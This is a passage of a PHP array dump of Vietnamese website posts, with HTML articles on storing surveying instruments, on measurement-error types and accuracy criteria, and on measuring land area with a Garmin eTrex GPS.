'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '537', 'name' => 'Cách bảo quản thiết bị trắc địa đúng cách', 'code' => null, 'alias' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Bảo quản thiết bị trắc địa đúng cách rất quan trọng đối với các kĩ sư đo đạc. Nhất là khi giá trị của các thiết bị như máy toàn đạc điện tử, máy thủy bình,… không hề nhỏ. Bảo quản thiết bị trắc địa tốt sẽ giúp tiết kiệm nhân công, thời gian, chi phí cho các công trình xây dựng. </span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thiết bị trắc địa</strong> cần được bảo quản cẩn thận để phát huy tối đa tính năng sử dụng của nó cũng như giảm chi phí đầu tư. Trước khi sử dụng thiết bị, hãy dành một ít thời gian để đọc và làm theo hướng dẫn bảo trì sau:<br /> - Không để thiết bị dưới ánh mặt trời trực tiếp hoặc trong xe kín trong thời gian dài. Nhiệt độ quá nóng có thể làm giảm hiệu quả của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-10', 'status' => '1', 'view' => '74548', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '82720', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '535', 'name' => 'Hướng dẫn đo diện tích đất bằng máy định vị cầm tay GARMIN ETREX 10/20X ', 'code' => null, 'alias' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(17, 17, 17); font-weight: 700; text-align: justify;">Những năm gần đây việc sử dụng máy định vị cầm tay để đo diện tích đất nông nghiệp, đất rừng… trở nên phổ biến. Người nông dân, thương lái đã ứng dụng thiết bị kỹ thuật vào việc đo diện tích đất để mua bán cao su, tiêu, điều,… một cách rất hiệu quả và chính xác.</span></span></span>', 'content' => '<p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Sau đây, chúng tôi xin phép hướng dẫn cách đo diện tích đất bằng máy định vị cầm tay Etrex 10/20x đơn giản và chính xác.<br /> <br /> <strong>Phần 1: Kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích</strong><br /> <br /> Máy định vị cầm tay Etrex 10/20 đo diện tích dựa trên tín hiệu vệ tinh vì vậy để số liệu đo chính xác thì vệ tinh thu được phải nhiều và đầy đủ. Hãy kiểm tra tín hiệu vệ tinh trước khi đo:<br /> <br /> - Nhấn <em>Menu</em> 2 lần để vào màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2.jpg" style="width: 300px; height: 300px;" /><br /> <br /> - Di chuyển con trỏ vào ô <em>Satellite</em> => nhấn <em>Enter</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3(1).jpg" style="width: 381px; height: 510px;" /><br /> <br /> - Màn hình vệ tinh sẽ hiện ra. Trên góc phải phía trên màn hình thể hiện sai số của máy. Khi hiện ra số từ 3 - 5m tức là vệ tinh đã tốt, chúng ta có thể bắt đầu đo diện tích đất.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4(1).jpg" style="width: 306px; height: 409px;" /><br /> Sau khi kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích sẽ tiến hành đo diện 